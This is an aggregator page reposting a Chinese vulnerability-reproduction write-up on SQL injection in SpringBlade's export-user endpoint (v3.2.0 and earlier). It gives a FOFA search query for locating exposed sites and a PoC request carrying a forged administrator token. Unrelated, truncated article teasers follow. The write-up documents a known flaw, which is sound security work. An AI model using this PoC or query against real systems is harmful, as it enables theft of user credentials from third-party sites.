SpringBlade export-user SQL 注入漏洞复现-编程知识

SpringBlade export-user SQL 注入漏洞复现

news/2024/12/2 18:08:39/文章来源:https://blog.csdn.net/qq_41904294/article/details/135083018

0x01 产品简介

SpringBlade 是一个由商业级项目升级优化而来的 SpringCloud 分布式微服务架构、SpringBoot 单体式微服务架构并存的综合型项目。

0x02 漏洞概述

SpringBlade v3.2.0 及之前版本框架后台 export-user 路径存在安全漏洞，攻击者利用该漏洞可通过组件customSqlSegment 进行SQL注入攻击，攻击者可将用户名、密码等敏感信息通过 excel 导出。

0x03 复现环境

FOFA：body="https://bladex.vip"

0x04 漏洞复现

PoC

GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4i

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/287259.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

持续集成交付CICD：K8S 通过模板文件自动化完成前端项目应用发布

目录一、实验 1.环境 2.GitLab 更新deployment文件 3.GitLab更新共享库前端项目CI与CD流水线 4.K8S查看前端项目版本 5.Jenkins 构建前端项目 6.Jenkins 再次构建前端项目二、问题 1. Jenkins 构建CI 流水线报错 2. Jenkins 构建CI 流水线弹出脚本报错 3. Jenkins…

排序嘉年华———选择排序和快排原始版

文章目录一.选择排序二.霍尔版快速排序1.单趟思想2.递归多趟3.寻找中间值作为key 一.选择排序在进行大佬“快排”之前先来一道开胃小菜————选择排序选择排序是一种简单直观的排序算法，它的基本思想是每一次从待排序的数据元素中选出最小（或最大&…

XZ_iOS 之 M1 M2 M3的M系列芯片的Mac苹果电脑安装cocoapods

安装的前提，应用程序->终端->右键-显示简介->勾选使用Rosetta打开，如下图，然后重启终端安装的顺序如下：Homebrew->rvm->ruby->cocoapods 1、安装Homebrew /bin/bash -c "$(curl -fsSL https://raw.git…

Python Pandas Excel/csv文件的保存与读取（第14讲）

Python Pandas Excel/csv文件的读取于保存（第14讲） 🍹博主侯小啾感谢您的支持与信赖。☀️ 🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔ꦿ🌹꧔…

部署promethues采集kubelet数据报错：server returned HTTP status 403 Forbidden

背景笔者尝试部署手动部署promethues去采集kubelet的node节点数据信息时报错笔者的promethus的配置文件和promthues的clusterrole配置如下所示： apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata:name: prometheus rules: - apiGroups: […

一种基于外观-运动语义表示一致性的视频异常检测框架论文阅读

A VIDEO ANOMALY DETECTION FRAMEWORK BASED ON APPEARANCE-MOTION SEMANTICS REPRESENTATION CONSISTENCY 论文阅读 ABSTRACT1. INTRODUCTION2. PROPOSED METHOD3. EXPERIMENTAL RESULTS4. CONCLUSION阅读总结： 论文标题：A VIDEO ANOMALY DETECTION FRA…

ASP.NET Core MVC依赖注入理解（极简个人版）

依赖注入文献来源：《Pro ASP.NET Core MVC》 Adam Freeman 第18章依赖注入 1 依赖注入原理所有可能变化的地方都用接口在使用接口的地方用什么实体类通过在ConfigureService中注册解决注册的实体类需要指定在何种生命周期中有效 TransientScopedSingleton 2…

【一】FPGA实现SPI协议之SPI协议介绍

【一】FPGA实现SPI协议之SPI协议介绍一、spi协议解析 spi协议有4根线，主机输出从机输入MOSI、主机输入从机输出MISO、时钟信号SCLK、片选信号SS\CS 。一般用于主机和从机之间通信。由主机发起读请求和写请求，主机的权限是主动的，从机是被…

深入理解 HTTP 和 HTTPS：提升你的网站安全性(下)

🤍 前端开发工程师（主业）、技术博主（副业）、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云…

《点云处理》点云去噪

前言通常从传感器（3D相机、雷达）中获取到的点云存在噪点（杂点、离群点、孤岛点等各种叫法）。噪点产生的原因有不同，可能是扫描到了不想要扫描的物体，可能是待测工件表面反光形成的，也可能是相…

【AI图集】猫狗的自动化合成图集

猫是一种哺乳动物，通常被人们作为宠物饲养。它们有柔软的毛发，灵活的身体和尖锐的爪子。猫是肉食性动物，主要以肉类为食，但也可以吃一些蔬菜和水果。猫通常在夜间活动，因此它们需要足够的玩具和活动空间来保持健康和快…

CentOS：Docker 创建及镜像删除

1、安装docker 远程连接服务器，可以直接下载netsarang比较好用家庭/学校免费 - NetSarang Website 如果有残留docker未删除干净，请使用 sudo yum -y remove docker docker-common docker-selinux docker-engine Step1：安装必要的一些…